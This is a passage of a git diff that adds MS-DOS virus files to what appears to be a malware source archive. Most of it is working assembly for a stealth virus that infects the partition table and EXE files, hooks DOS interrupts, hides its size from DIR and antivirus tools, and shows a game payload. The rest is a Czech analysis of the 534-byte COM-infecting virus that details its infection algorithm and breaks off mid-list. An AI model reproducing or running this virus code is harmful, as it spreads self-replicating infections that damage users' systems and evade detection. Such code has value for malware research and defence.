cmp word ptr [di+8],VIRSEC+2 + jb not_infect_par ;Quit if not enough room. +next_part: add di,10 + dec bl + jnz check_part + + lea bx,[si+last-100] ;Save original partition table + mov ax,0301 ;to sector 2. + mov cx,2 + int 13 + jc not_infect_par + + lea bx,[si+first-100] ;Write the virus to sector 3. + mov ax,0300+VIRSEC + mov cx,3 + int 13 + jc not_infect_par + + lea di,[si+last-100] ;Infect part table. + lea si,[si+boot_begin-100] + mov bx,di + mov cx,BOOTLEN + rep movsb + + mov ax,0301 ;Write infected partition table + mov cx,1 ;to sector 1. + int 13 + +not_infect_par: ret + + +;------------------------------------------------------------------------------ +; Partition table routine +;------------------------------------------------------------------------------ + +boot_begin: db 'MK' ;Signature (= DEC BP, DEC BX). + + cld ;Initialise segments + stack. + cli + xor ax,ax + mov ds,ax + mov ss,ax + mov sp,7C00 + sti + + mov di,0400 ;Adjust memory size. + mov ax,ds:[di+13] + sub ax,VIRKB + mov ds:[di+13],ax + + mov cl,6 ;Calculate segment for + shl ax,cl ;resident virus. + mov es,ax + + mov cx,BOOTLEN ;Copy virus to top. + mov si,sp ;SP=7C00 + xor di,di + rep movsb + + mov bx,offset here-offset boot_begin ;Jump to top. + push es + push bx + retf + +here: mov ax,0200+VIRSEC ;Load complete virus. + mov cx,3 + mov dx,0080 + mov bx,0100 + int 13 + jc load_part + + cli + mov ax,offset ni13 ;Set new vector 13. + xchg ds:[4*13],ax + mov cs:[oi13],ax ;Save old vector 13. + mov ax,es + xchg ds:[4*13+2],ax + mov cs:[oi13+2],ax + + les bx,ds:[4*21] ;Get original vector 21. + mov cs:[oi21],bx + mov cs:[oi21+2],es + sti + + mov byte ptr cs:[hook],1 ;Turn on hook-flag. + +load_part: mov di,5 + push ds + pop es +part_loop: mov ax,0201 ;Load original part. sector. + mov cx,2 + mov dx,0080 + mov bx,sp + int 13 + jnc jump_part + + xor ax,ax ;Reset Drive + int 13 + dec di + jnz part_loop ;Try again. + int 18 ;Error: activate ROM BASIC. + +jump_part: push ds ;Push next address. + push bx + retf +boot_end: + + +;------------------------------------------------------------------------------ +; Int 13 handler +;------------------------------------------------------------------------------ + +ni13: cmp byte ptr cs:[hook],0 ;Is int 21 already hooked? + je do_int13 + + push ds + push es + push bx + push ax + cli + + xor ax,ax + mov ds,ax + + les bx,ds:[4*21] ;Compare int 21 vector + mov ax,es ;with saved old vector. + + cmp ax,800 + ja dont_hook + cmp bx,cs:[oi21] + jne hook_21 + cmp ax,cs:[oi21+2] + je dont_hook + +hook_21: mov cs:[oi21],bx ;Save old vector 21. + mov cs:[oi21+2],ax + + mov ds:[4*21],offset ni21 ;Set new vector 21. + mov ds:[4*21+2],cs + + mov byte ptr cs:[hook],0 ;Don't hook int 21 anymore. + +dont_hook: sti + pop ax + pop bx + pop es + pop ds + + +do_int13: cmp cx,1 ;Check if part. table + jne orgint13 ;is read or written. + cmp dx,80 + jne orgint13 + cmp ah,2 + jb orgint13 + cmp ah,3 + ja orgint13 + or al,al + jz orgint13 + + push cx + dec al + jz nothing_left + push ax ;Do original function + push bx + add bx,0200 + inc cx + pushf + call dword ptr cs:[oi13] + pop bx + pop ax + +nothing_left: mov al,1 ;Read/write redirected + mov cx,2 ;partition table. + pushf + call dword ptr cs:[oi13] + pop cx + retf 2 + + +orgint13: db 0EA +oi13 dw 0, 0 ;Original int 13 vector. + + +;------------------------------------------------------------------------------ +; Interupt 21 handler +;------------------------------------------------------------------------------ + +ni21: pushf + + cmp ax,33E4 ;Installation-check ? + jne not_ic + mov ax,0A500+VERSION ;Yes? Return a signature. + popf + iret + +not_ic: cmp ax,33E5 ;Play game ? + jne not_pg + call play_game + popf + iret + +not_pg: call push_all ;Check if interupt came from + call getname ;a program that may not see + mov dx,offset namesHI ;true length of infected file + mov cx,2+11d ;(AV program or 'DIR'). + call checknames + call pop_all + jne no_hide + + cmp ah,11 ;Findfirst/findnext FCB? + je its_11_12 + cmp ah,12 + jne not_11_12 +its_11_12: popf + call findFCB + retf 2 + +not_11_12: cmp ah,4E ;Findfirst/findnext handle? + je its_4E_4F + cmp ah,4F + jne no_hide +its_4E_4F: popf + call findhndl + retf 2 + + +no_hide: call push_all ;Save registers. + + cmp ax,6C00 ;Open from DOS 4.0+ ? + jne not_6C00 + call f_open2 + jmp short exit + +not_6C00: cmp ah,3Dh ;File open? + jne not_3D + call f_open + jmp short exit + +not_3D: cmp ah,3E ;File close? + jne not_3E + call f_close + jmp short exit + +not_3E: cmp ax,4B00 ;Program execute? + jne exit + call f_execute + +exit: call pop_all ;Restore registers. + + popf + + db 0EA ;Original int 21. +oi21 dw 0, 0 + + +;------------------------------------------------------------------------------ +; Interupt 24 handler +;------------------------------------------------------------------------------ + +ni24: mov al,3 ;To avoid 'Abort, Retry, ...' + iret + + +;------------------------------------------------------------------------------ +; Call original int21 +;------------------------------------------------------------------------------ + +DOS: pushf + call dword ptr cs:[oi21] + ret + + +;------------------------------------------------------------------------------ +; Hide the virus from filelength +;------------------------------------------------------------------------------ + +findFCB: call DOS ;Call original function. + or al,al + jne ret1 + pushf + push bx + push ax + push es + mov ah,2F ;Ask DTA adres. + call DOS + cmp byte ptr es:[bx],0FF ;Extended FCB? + jne vv1 + add bx,7 +vv1: mov al,byte ptr es:[bx+17] ;Check if infected + and al,1Fh ;(seconds=62). + cmp al,1Fh + jne dont_hide + sub word ptr es:[bx+1Dh],FILELEN ;Hide virus length. + sbb word ptr es:[bx+1F],0 + dec bx + jmp short hide_time + + +findhndl: call DOS ;Call original function. + jc ret1 + pushf + push bx + push ax + push es + mov ah,2F ;ask DTA adres + call DOS + mov al,byte ptr es:[bx+16] ;Check if infected. + and al,1Fh + cmp al,1Fh + jne dont_hide + sub word ptr es:[bx+1A],FILELEN ;Hide virus length. + sbb word ptr es:[bx+1C],0 +hide_time: and byte ptr es:[bx+16],0EFh ;Also hide seconds. +dont_hide: pop es + pop ax + pop bx + popf +ret1: ret + + +;------------------------------------------------------------------------------ +; Try to infect or disinfect the file +;------------------------------------------------------------------------------ + +f_close: cmp bx,5 ;Is handle >= 5? + jb ret1 ;Quit if not. + mov ah,45 ;Duplicate handle + jmp short doit + +f_execute: mov ah,3Dh ;Open file +doit: call DOS + jc ret1 + xchg ax,bx + mov bp,1 ;Flag for infect. + jmp short get_ctrlbrk + + +f_open2: mov dx,si ;Use 'normal' open function + mov ah,3Dh ;instead of 6C00 function. +f_open: call DOS + jc ret1 + xchg ax,bx + xor bp,bp ;Flag for disinfect. + + +get_ctrlbrk: cld + + mov ax,3300 ;Get ctrl-break flag. + call DOS + push dx + + cwd ;Disable Ctrl-break. + inc ax + push ax + call DOS + + mov dx,bx + mov ax,3524 ;Get int24 vector. + call DOS + push bx + push es + mov bx,dx + + push cs + pop ds + + mov dx,offset ni24 ;Install new int24 handler. + mov ah,25 + push ax + call DOS + + mov ax,1220 ;Get pointer to file table + push bx + int 2F + mov bl,es:[di] + mov al,16 ;(Avoid [512] signature...) + mov ah,12 + int 2F + pop bx ;ES:DI -> file table + + push es + pop ds + + push [di+2] ;Save attribute & open-mode. + push [di+4] + + cmp word ptr [di+28],'XE' ;Check if extension is .EXE + jne close1 + cmp byte ptr [di+2A],'E' + jne close1 + +; cmp word ptr [di+20],'XX' ;Check if name is 'XX*.EXE' +; jne close1 ;(only for test purposes). + + test bp,bp ;Infect or disinfect? + jz check_disinf + + mov ax,word ptr [di+20] ;Check if file may be infected. + mov dx,offset namesSC + mov cx,11d+4 + call checknames + je close1 + jmp short go_on + +check_disinf: call getname ;Check if file must be + mov dx,offset namesSC ;disinfected (only if an + mov cx,11d ;AV program is active). + call checknames + jne close1 + +go_on: mov byte ptr [di+2],2 ;Open file for both read/write. + mov byte ptr [di+4],0 ;Clear attributes + call gotobegin + push ax ;Save old file offset + push dx + + push cs + pop ds + + mov cx,BUFLEN ;Read begin of file + mov si,offset buffer ;into buffer. + mov dx,si + call read + + call checkfile ;Check if file is OK to infect + jc close2 ;or disinfect. + + mov ax,word ptr [si+12] ;Already infected? + add al,ah + cmp al,'#' + je is_infected + + test bp,bp ;Must it be infected? + jz close2 + + call do_infect + +is_infected: test bp,bp ;Must it be disinfected? + jnz close2 + + call do_disinfect + +close2: push es + pop ds + + pop dx ;Restore file offset. + pop ax + call goto + or byte ptr [di+6],40 ;Don't change file-time. + +close1: mov ah,3E ;Close the file. + call DOS + + or byte ptr [di+5],40 ;No EOF on next close. + pop [di+4] ;Restore attribute & open-mode. + pop [di+2] + + pop ax ;Restore int 24 vector. + pop ds + pop dx + call DOS + + pop ax ;Restore ctrl-break flag. + pop dx + call DOS + + ret + + +;------------------------------------------------------------------------------ +; Special filenames +;------------------------------------------------------------------------------ + +namesHI db 'CO', '4D' ;COMMAND.COM and 4DOS. +namesSC db 'SC', 'CL', 'VS', 'NE' ;AV programs. + db 'HT', 'TB', 'VI', 'F-' + db 'FI', 'GI', 'IM' +namesCH db 'RA', 'FE', 'MT', 'BR' ;Some self-checking + ;programs. + +;------------------------------------------------------------------------------ +; Check the file +;------------------------------------------------------------------------------ + +checkfile: cmp word ptr [si],'ZM' ;Is it a normal EXE ? + jne not_good + + cmp word ptr [si+18],40 ;Check if it is a windows/OS2 + jb not_win ;EXE file. + + mov ax,003C ;Read pointer to NE header. + cwd + call readbytes + jc not_good + + mov ax,word ptr [si+BUFLEN] ;Read NE header. + mov dx,word ptr [si+BUFLEN+2] + call readbytes + jc not_good + + cmp byte ptr [si+BUFLEN+1],'E' ;Quit if it is a NE + je not_good ;header. + +not_win: call getlen + call calclen ;Check for internal overlays. + cmp word ptr [si+4],ax + jne not_good + cmp word ptr [si+2],dx + jne not_good + + cmp word ptr [si+0C],0 ;High memory allocation? + je not_good + + cmp word ptr [si+1A],0 ;Overlay nr. not zero? + jne not_good + + clc ;File is OK. + ret + +not_good: stc ;File is not OK. + ret + + +;------------------------------------------------------------------------------ +; Write virus to the program +;------------------------------------------------------------------------------ + +do_infect: call getlen ;Go to end of file. + call goto + + mov dx,0100 ;Write virus. + mov cx,FILELEN + call write + cmp ax,cx ;Are all bytes written? + jne not_infect + + call getoldlen ;Calculate new CS & IP. + mov cx,0010 + div cx + sub ax,word ptr [si+8] + add dx,low 10 + + mov word ptr [si+16],ax ;Put CS in header. + mov word ptr [si+0E],ax ;Put SS in header. + mov word ptr [si+14],dx ;Put IP in header. + mov word ptr [si+10],STACKOFF ;Put SP in header. + + call getlen ;Put new length in header. + call calclen + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + push di + lea di,[si+0A] ;Adjust mem. allocation info. + call mem_adjust + lea di,[si+0C] + call mem_adjust + pop di + + call gotobegin ;Write new begin of file. + in al,40 + mov ah,'#' + sub ah,al + mov word ptr [si+12],ax + mov cx,BUFLEN + mov dx,si + call write + + or byte ptr es:[di+0Dh],1F ;set filetime to 62 sec. + +not_infect: ret + + +;------------------------------------------------------------------------------ +; Disinfect the program +;------------------------------------------------------------------------------ + +do_disinfect: call getoldlen ;Go to original end of file + add ax,(offset buffer-100) + adc dx,0 + call goto ;Go to buffer in virus. + + mov dx,si ;Read buffer. + mov cx,BUFLEN + call read + + cmp word ptr [si],'ZM' ;Is there an EXE header + jne not_disinfect ;in the buffer? + + call gotobegin ;Write the buffer to + mov dx,si ;begin of file. + mov cx,BUFLEN + call write + + call getoldlen ;Restore original length + mov es:[di+11],ax ;of file. + mov es:[di+13],dx + + and byte ptr es:[di+0Dh],0E0 ;Seconds = 0. + +not_disinfect: ret + + +;------------------------------------------------------------------------------ +; Get name of current process +;------------------------------------------------------------------------------ + +getname: push ds + push bx + + mov ah,62 ;Get PSP address. + call DOS + dec bx + mov ds,bx + mov ax,ds:[0008] ;Get first 2 characters + ;of current process name. + pop bx + pop ds + ret + + +;------------------------------------------------------------------------------ +; Check names +;------------------------------------------------------------------------------ + +checknames: push di + push es + + push cs ;Search name in list CS:DX + pop es + mov di,dx + repnz scasw + + pop es + pop di + ret + + +;------------------------------------------------------------------------------ +; Calculate length for EXE header +;------------------------------------------------------------------------------ + +calclen: mov cx,0200 ;Divide by 200h + div cx + or dx,dx ;Correction? + jz no_cor + inc ax +no_cor: ret + + +;------------------------------------------------------------------------------ +; Adjust mem allocation info in EXE header +;------------------------------------------------------------------------------ + +mem_adjust: cmp word ptr [di],DATAPAR ;Enough memory allocated? + jnb mem_ok + mov word ptr [di],DATAPAR ;Minimum amount to allocate. +mem_ok: ret + + +;------------------------------------------------------------------------------ +; Read a few bytes +;------------------------------------------------------------------------------ + +readbytes: call goto ;Go to DX:AX and read 4 bytes + mov dx,offset minibuf ;from that location into + mov cx,4 ;mini-buffer. +read: mov ah,3F + call DOS + ret + +write: mov ah,40 ;Write function. + call DOS + ret + + +;------------------------------------------------------------------------------ +; Get original length of program +;------------------------------------------------------------------------------ + +getoldlen: call getlen + sub ax,FILELEN + sbb dx,0 + ret + + +;------------------------------------------------------------------------------ +; Get length of program +;------------------------------------------------------------------------------ + +getlen: mov ax,es:[di+11] + mov dx,es:[di+13] + ret + + +;------------------------------------------------------------------------------ +; Goto new offset DX:AX +;------------------------------------------------------------------------------ + +gotobegin: xor ax,ax + cwd +goto: xchg ax,es:[di+15] + xchg dx,es:[di+17] + ret + + +;------------------------------------------------------------------------------ +; Push all registers on stack +;------------------------------------------------------------------------------ + +push_all: push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + mov bp,sp + jmp [bp+12] + + +;------------------------------------------------------------------------------ +; Pop all registers from stack +;------------------------------------------------------------------------------ + +pop_all: pop ax + mov bp,sp + mov [bp+12],ax + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + + +;------------------------------------------------------------------------------ +; Game +;------------------------------------------------------------------------------ + +play_game: call rnd_init ;Initialize random number + ;generator. + mov ah,0F ;Get video mode. + int 10 + + xor ah,ah ;Clear screen and set to + push ax ;40 column mode. + mov al,1 + int 10 + + mov ah,3 ;Clear cursor. + int 10 + push cx + mov ah,1 + xor cx,cx + int 10 + +start_game: push cs + push cs + pop ds + pop es + + xor al,al ;Clear screen + call scroll_screen + + mov si,offset orgvalues ;Initialize parameters. + mov di,offset bombs + movsw + xor ax,ax + stosw + stosw + stosw + + mov dx,0B800 ;ES points to screen memory. + mov es,dx + + mov si,offset beginmess ;Print first message. + mov di,40d*2*5+20d + mov cx,12d + call print_it2 + + mov di,40d*2*9+4 + mov cl,20d + call print_it2 + + mov di,40d*2*20d+24d + mov cl,16d + call print_it + + call wachttoets ;Wait for keypress or timeout. + + xor al,al ;Clear screen. + call scroll_screen + +main_lup: mov al,byte ptr [oldpos] ;Clear old position. + call gotopos + mov ax,0700 + stosw + + mov al,byte ptr [pos] + mov byte ptr [oldpos],al + + mov al,1 ;Scroll screen up. + call scroll_screen + + mov al,byte ptr [pos] ;Goto current position. + call gotopos + mov al,es:[di] ;Hit a block? + cmp al,0FE + mov ax,0E02 ;Print smily face. + stosw + je stop_game + + call print_bombs ;Print a number of bombs. + + call wacht + + in al,61 ;Make 'click' sound. + push ax + or al,3 + out 61,al + + call check_key ;Check for shift keys. + + pop ax ;Turn 'click' off + out 61,al + + inc byte ptr [timer] ;Check timer. + mov al,byte ptr [timer] + and al,7F + jnz not_zero + inc byte ptr [kleur] ;Change color and number of + inc byte ptr [bombs] ;bombs every 128th row. + +not_zero: cmp al,12d + jne main_lup + + inc byte ptr [level] ;Increase level as soon as + cmp byte ptr [level],9 ;new color has reached. + jb main_lup ;position. Maximum is 9. + + +stop_game: mov ax,0E07 ;Beep! + int 10 + + mov si,offset endmess ;Print message 'You reached..'. + mov di,40d*2*24d + mov cx,18d + call print_it + + mov al,byte ptr [level] ;Print reached level. + add al,30 + stosw + + add di,20d ;Print message 'Play again?'. + mov cl,11d + call print_it + + + call wachttoets ;Wait for key or timeout. + jz stop_echt + or al,20 + cmp al,'y' ;Play again if 'Y' was + jne stop_echt ;pressed. + jmp start_game + +stop_echt: pop cx + mov ah,1 + int 10 + + pop ax ;clear screen + int 10 + + ret + + +;------------------------------------------------------------------------------ +; Print CX characters from DS:SI to ES:DI +;------------------------------------------------------------------------------ + +print_it: lodsb + mov ah,7 + stosw + loop print_it + ret + + +;------------------------------------------------------------------------------ +; Print CX characters from DS:SI to ES:DI (wide) +;------------------------------------------------------------------------------ + +print_it2: lodsb + mov ah,7 + stosw + mov al,20 + stosw + loop print_it2 + ret + + +;------------------------------------------------------------------------------ +; Go to position on screen. +;------------------------------------------------------------------------------ + +gotopos: cbw + shl ax,1 + mov di,40d*2*12d + add di,ax + ret + + +;------------------------------------------------------------------------------ +; Scroll the screen up AL rows +;------------------------------------------------------------------------------ + +scroll_screen: push bx + mov ah,06 + mov bh,7 + mov cx,0 + mov dx,(25d-1)*100+(40d-1) + int 10 + pop bx + ret + + +;------------------------------------------------------------------------------ +; Print some bombs at bottom row. +;------------------------------------------------------------------------------ + +print_bombs: mov cl,byte ptr [bombs] ;Number of bombs. + xor ch,ch +bomb_lup: call rnd_get ;Calculate position. + cmp al,(40d-1) + ja bomb_lup + cbw + shl ax,1 + mov di,40d*2*(25d-1) + add di,ax + mov al,byte ptr [kleur] ;Calculate color. + mov bx,offset colors + xlat + xchg ah,al + mov al,0FE ;Print bomb. + stosw + loop bomb_lup + ret + + +;------------------------------------------------------------------------------ +; Wait a short time. +;------------------------------------------------------------------------------ + +wacht: mov dx,word ptr [tijd] + add dx,2 + xor ax,ax + mov ds,ax +time_lup: mov ax,ds:[046C] ;Get current time. + cmp ax,dx + jb time_lup + + push cs + pop ds + mov word ptr [tijd],ax + ret + + +;------------------------------------------------------------------------------ +; Wait for timeout or keypress. +;------------------------------------------------------------------------------ + +wachttoets: mov ah,1 ;Empty keyboard buffer. + int 16 + jz now_empty + xor ah,ah + int 16 + jmp short wachttoets + +now_empty: xor ax,ax + mov ds,ax + mov dx,ds:[046C] + add dx,18d*8 +wt_lup: mov ah,1 ;Check key. + int 16 + jnz stop_waiting + mov ax,ds:[046C] ;Check time. + cmp ax,dx + jb wt_lup + +stop_waiting: push cs + pop ds + ret + + +;------------------------------------------------------------------------------ +; Check if shift key's are pressed. +;------------------------------------------------------------------------------ + +check_key: mov ah,2 + int 16 + + test al,1 + jz not_right + cmp byte ptr [pos],(40d-1) + je not_right + inc byte ptr [pos] + ret + +not_right: test al,2 + jz no_key + cmp byte ptr [pos],0 + je no_key + dec byte ptr [pos] +no_key: ret + + +;------------------------------------------------------------------------------ +; Random number generator. +;------------------------------------------------------------------------------ + +rnd_init: push ax + push cx + call rnd_init0 ;init + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get ;call random routine a few + loop random_lup ; times to 'warm up' + pop cx + pop ax + ret + +rnd_init0: push dx ;initialize generator + push cx + push ds + xor ax,ax + mov ds,ax + in al,40 + mov ah,al + in al,40 + xor ax,word ptr ds:[041E] + mov dx,word ptr ds:[046C] + xor dx,ax + pop ds + jmp short move_rnd + +nonzero_get: call rnd_get + or ax,ax + jz nonzero_get + ret + +rnd_get: push dx ;calculate a random number + push cx + push bx + in al,40 +values: add ax,0 ;will be: mov ax,xxxx + mov dx,0 ; and mov dx,xxxx + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: push si + call me +me: pop si + mov word ptr cs:[si+(offset values-offset me)+1],ax + mov word ptr cs:[si+(offset values-offset me)+4],dx + pop si + mov al,dl + pop cx + pop dx + ret + + +;------------------------------------------------------------------------------ +; Data +;------------------------------------------------------------------------------ + +beginmess db 'HAPPY VIRUS ' + db 'Time to play a game ' + db '(Use shift keys)' + + +endmess db 'You reached level ' + db 'Play again?' + +colors db 4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0 + + +orgvalues db 3, (40d/2) + +buffer db (BUFLEN) dup ('#') ;Buffer for orig. EXE header. + + +last: + end first + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.playit.tpu b/MSDOS/Virus.MSDOS.Unknown.playit.tpu new file mode 100644 index 00000000..1850aefb Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.playit.tpu differ diff --git a/MSDOS/Virus.MSDOS.Unknown.plumbum.asm b/MSDOS/Virus.MSDOS.Unknown.plumbum.asm new file mode 100644 index 00000000..74fbc9f4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.plumbum.asm @@ -0,0 +1,1013 @@ +[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +[[ ]] +[[ VIR 534 ]] +[[ ]] +[[ 5.5.1990 Nov‚ Mesto nad V hom Ing.Vladimr Matjka ]] +[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] + + + +Charakteristika vru: +--------------------- + Vr 534 je ozna‡en podle d‚lky o kterou zvtØuje p–vodn d‚lku +souboru. Velmi rychle se rozØi©uje v souborech typu *.COM, zejm‚na +pomoc syst‚mov‚ho souboru COMMAND.COM. ’ dn  dalØ manipula‡n +‡innost nebyla rozborem prok z na. + + +RozØ©en vru na souboru typu: +------------------------------- +- soubory typu *.COM; +- napad  i soubory s nastavenm atributem H (skryt) nebo RO (pouze ke ‡ten) +- napad  COMMAND.COM. + + +P©znaky p©tomnosti vru v souboru: +------------------------------------ +- d‚lka souboru je zvtØena + 534 byte; +- datum vytvo©en souboru je nastaven na 13. msc; +- zruØen p–vodn nastaven atribut souboru RO; +- p©i zalepen‚ disket hl Øen " Write protect error writing drive A + Abort, Retry, Fail? ". + + +Podmnky aktivizace vru: +------------------------- + V‘dy p©i startu infikovan‚ho programu dojde k rozØ©en vru 534 +na dalØ soubor za tchto podmnek: +- minim ln verze DOS 2.00; +- soubor mus bt typu *.COM; +- soubor nesm mt nastaven atribut S (systemov); +- soubor mus bt v podadres ©i z kter‚ho byl vol n infikonan soubor, + nebo v hlavnm adres ©i; +- soubor nesm obsahovat p©znak vru - 13.msc; +- soubor mus mt min. d‚lku 256 byte a nesm bt vtØ jak 64000 byte. + +Manipula‡n ‡innost vru: +------------------------- + Vr 534 se pouze velmi rychle rozØi©uje, nevykonav  ‘ dnou dalØ +ni‡ivou ‡innost. + U infikovan‚ho souboru m–‘eme ve sv‚m d–sledku zaznamenat: +- pouze zruØen atribut RO; +- p©znak vru - nastaven 13.msc; +- p©ipojen mrtv vr (nen adresa skoku na vr); +- n kazu aktivnm vrem. + +Opravitelnost infikovan‚ho programu: +------------------------------------ + Vr 534 p©epØe prvn 3 byte v infikovan‚m programu, tyto odlo‘ do +sv‚ho z pisnku. Oprava infikovan‚ho programu je tedy mo‘n . + + +[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +[[ ]] +[[ VIR 534 ]] +[[ 5.5.1990 Ing.Vladimr Matjka ]] +[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] + + + Pro rozbor ‡innosti vru 534 a zjiØtn jeho ni‡ivch £‡ink– byl zvolen +n sledn postup, kter je v p©loh ch zdokumentov n. + Odchycen vzorku vru 534 bylo proveden‚ na jednoduch‚m programu T.COM, +kter m  za £kol pouze vytisknout znaky '*' na obrazovce. + Rozbor a zdokumentov n vru je proveden‚ na osobnm po‡ta‡i PP 06 pod +opera‡nm syst‚mem MS DOS 3.30. + + +a/ Vpis obsahu p©ipraven‚ diskety pro rozbor vru. + ------------------------------------------------ + + V prvn ‡ sti se zam©me na p©znaky p©tomnosti vru 534 v souborech. +Jako z kladn prost©edek byl zvolen rozØ©en PCTOOLS 4.20. V p©loze +PCTOOLS/1 je uveden tento vpis obsahu diskety: + +T COM 4110 1-01-80 12:59a +T534 COM 4644 13-01-80 12:59a + + Program T.COM je p–vodn, dobr program. Program T534.COM je naka‘en vrem +534. Z uveden‚ho vpisu je na prvn pohled vidt tyto zmny: +- zmna d‚lky 4644 - 4110 = + 534 byte; +- zmna v datumu - 13.msc !!!! (p©znak vru). + + +b/ Kontrola obsahu adresa©e diskety. + --------------------------------- + + Na z klad bodu a/ provedeme kontrolu adres ©e diskety s d–razem na rozbor +datumu vytvo©en souboru, vpis v p©loze PCTOOLS/2. + +- dobr program T.COM + ------------------- + 0000(0000) 54 20 20 20 20 20 20 20 43 4F 4D 20 00 00 00 00 T COM + 0016(0010) 00 00 00 00 00 00 65 07|21 00|02 00 0E 10 00 00 + datum ->|-----| + + 0021 = 0000 0000 0010 0001 + |------||---||----|--- den 1. + | |--------- msc 1. + |-------------- rok 00 = 1980 + + +- program T534.COM naka‘en vrem 534 + ---------------------------------- + 0032(0020) 54 35 33 34 20 20 20 20 43 4F 4D 20 00 00 00 00 T534 COM + 0048(0030) 00 00 00 00 00 00 65 07|A1 01|07 00 24 12 00 00 + datum ->|-----| + 01A1 = 0000 0001 1010 0001 + |------||---||----|--- den 1. + | |--------- msc 13. - p©znak vru 534 + |-------------- rok 00 = 1980 + + +c/ Popis funkce programu T.COM. + --------------------------- + + V p©loze PCTOOLS/3,4 je uveden vpis prvnho a poslednho sektoru programu +T.COM. Pro dalØ rozbor je pot©ebn‚ si vØimnout hodnot prvnch 3 byte (0E1FBA). + VØechny d le neuveden‚ sektory tohoto programu obsahuj pouze znaky '*'. +Program kon‡ k¢dem 24H. + Pro £pnost uv dm vpis funkce programu T.COM odpovdajc uvedenm +p©loh m. + + +Path=A:\*.* +File=T.COM Relative sector 0000000, Clust 00002, Disk Abs Sec 0000012 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) 0E 1F BA 0D 01 B4 09 CD 21 B4 4C CD 21 2A 2A 2A *** + + + +AX=0000 BX=0000 CX=1296 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 +DS=156A ES=156A SS=156A CS=156A IP=0100 NV UP EI PL NZ NA PO NC + +156A:0100 0E PUSH CS +156A:0101 1F POP DS ;nastavit DS +156A:0102 BA0D01 MOV DX,010D ;ukazatel zacatku textu +156A:0105 B409 MOV AH,09 ;funkce - tisk textu +156A:0107 CD21 INT 21 ;sluzba DOSu +156A:0109 BE4C MOV AH,4C ;funkce - ukoncit +156A:010B CD21 INT 21 ;sluzba DOSu +156A:010D 2A2A DW '**' ;zacatek textu + : + : +156A:110B 2A2A DW '**' +156A:110D 24 DB '$' ;konec textu + + + +d/ Kontrola programu T534.COM. + --------------------------- + + V porovn n s programem T.COM vidme v p©loze PCTOOLS/5,6,7,8 zmny, kter‚ +provede vr p©i n kaze. Na za‡ tku programu T.COM je zmna prvnch 3 byte, +p©loha PCTOOLS/5. Za konec programu T.COM, p©loha PCTOOLS/6, je p©ipojen vr +534. Jednoduchou kontrolou zjistme, ‘e p–vodn program je delØ o 534 byte. + + +e/ Kontrola naka‘en‚ho programu T534.COM pomoc programu SYMDEB. + ------------------------------------------------------------- + + Pro podrobnjØi rozbor vru 534 je naka‘en program T534.COM zaveden do +pamti po‡ta‡e PP 06. V p©loze SYMDEB/1 je proveden vpis programu v pamti. + Nyn ji‘ p©esn vidme z kladn zp–sob p©ipojen vru k naØemu programu. +Na za‡ tku programu T.COM p©epsal vr prvn 3 byte instrukc skoku za napaden +program, kde je ulo‘en‚ vlastn tlo vru, z pisnk a DTA. + + +f/ Rozbor ‡innosti vru 534. + ------------------------- + + VIR_534 odlo‘il ze za‡ tku programu T.COM prvn 3 byte do sv‚ho z pisnku. +Na toto msto zapsal adresu skoku na vlastn VIR_534, kter p©ipojil na konec +programu T.COM. Po startu infikovan‚ho programu T534.COM vr nejd©ve provede +opravu prvnch 3 byte programu T.COM. Po realizaci programu vru VIR_534 spust +vlastn, ji‘ neporuØen program T.COM. + + + Struktura infikovan‚ho programu T534.COM + ---------------------------------------- + + + |=======================================| + |----JMP VIR_534 | | + | |--------------| | + | | | + | | | + | | P–vodn dobr program T.COM | + | | | + | | | + | |=======================================|==| + |---> | | + | | | + | VIR_534 | | + | |+534 byte + | | | + |---------------------------------------| | + | Zapisnk VIRu_534 | | + | DTA VIRu_534 | | + |=======================================|==| + + + + Hlavn algoritmus ‡innosti vru 534. + ------------------------------------ + + Komentovan popis programu vru 534 je uveden v p©loze SYMDEB/2. + + + - Obnovit p–vodn program T.COM - vr tit 3 byte na za‡ tek. +Oprava se provad p©esunem p–vodnch 3 byte ze z pisnku na za‡ tek napaden‚ho +programu CS:0100, nyn je zde instrukce pro skok na za‡ tek VIRu_534. + + - Zjistit verzi DOSu - pro ni‘Ø verzi jak 2.0 - skok na p–vodn T.COM. + + - Nastavit novou adresu DTA pro p©enosy z disku do z pisnku vru. + + - Vyhledat po‘adovan soubor *.COM. +Program vyhled  prvn soubor odpovidajc specifikaci (????????.COM00) +s atributem souboru mimo S (systemov). Po vyhledan se napn aktu ln oblast +DTA. Pokud nen soubor *.COM nalezen v aktu lnm podadres ©i, je nastavena +cesta do hlavnho adres ©e. + + - Kontrola datumu a d‚lky vyhledan‚ho souboru *.COM. +Pokud je v datumu vytvo©en souboru nastaven 13.msc !!! - p©znak vru, +vyhled  se dalØ soubor v adres ©i. Pokud d‚lka vyhledan‚ho souboru je menØ +256 byte nebo je rovna, vtØi 64000 byte, vyhled  se dalØ soubor v adres ©i. +P©esun specifikace a parametr– vyhledan‚ho souboru z DTA do zapisnku vru. + + - Zjistit atributy souboru - zruØit atribut RO. + + - Otev©t soubor pro ‡ten a z pis. + + - Zjistit ‡as a datum vytvo©en souboru, ulo‘it do z pisnku. + + - Na‡st ze za‡ tku souboru prvn 3 byte, ulo‘it do z pisnku. + + - Nastavit 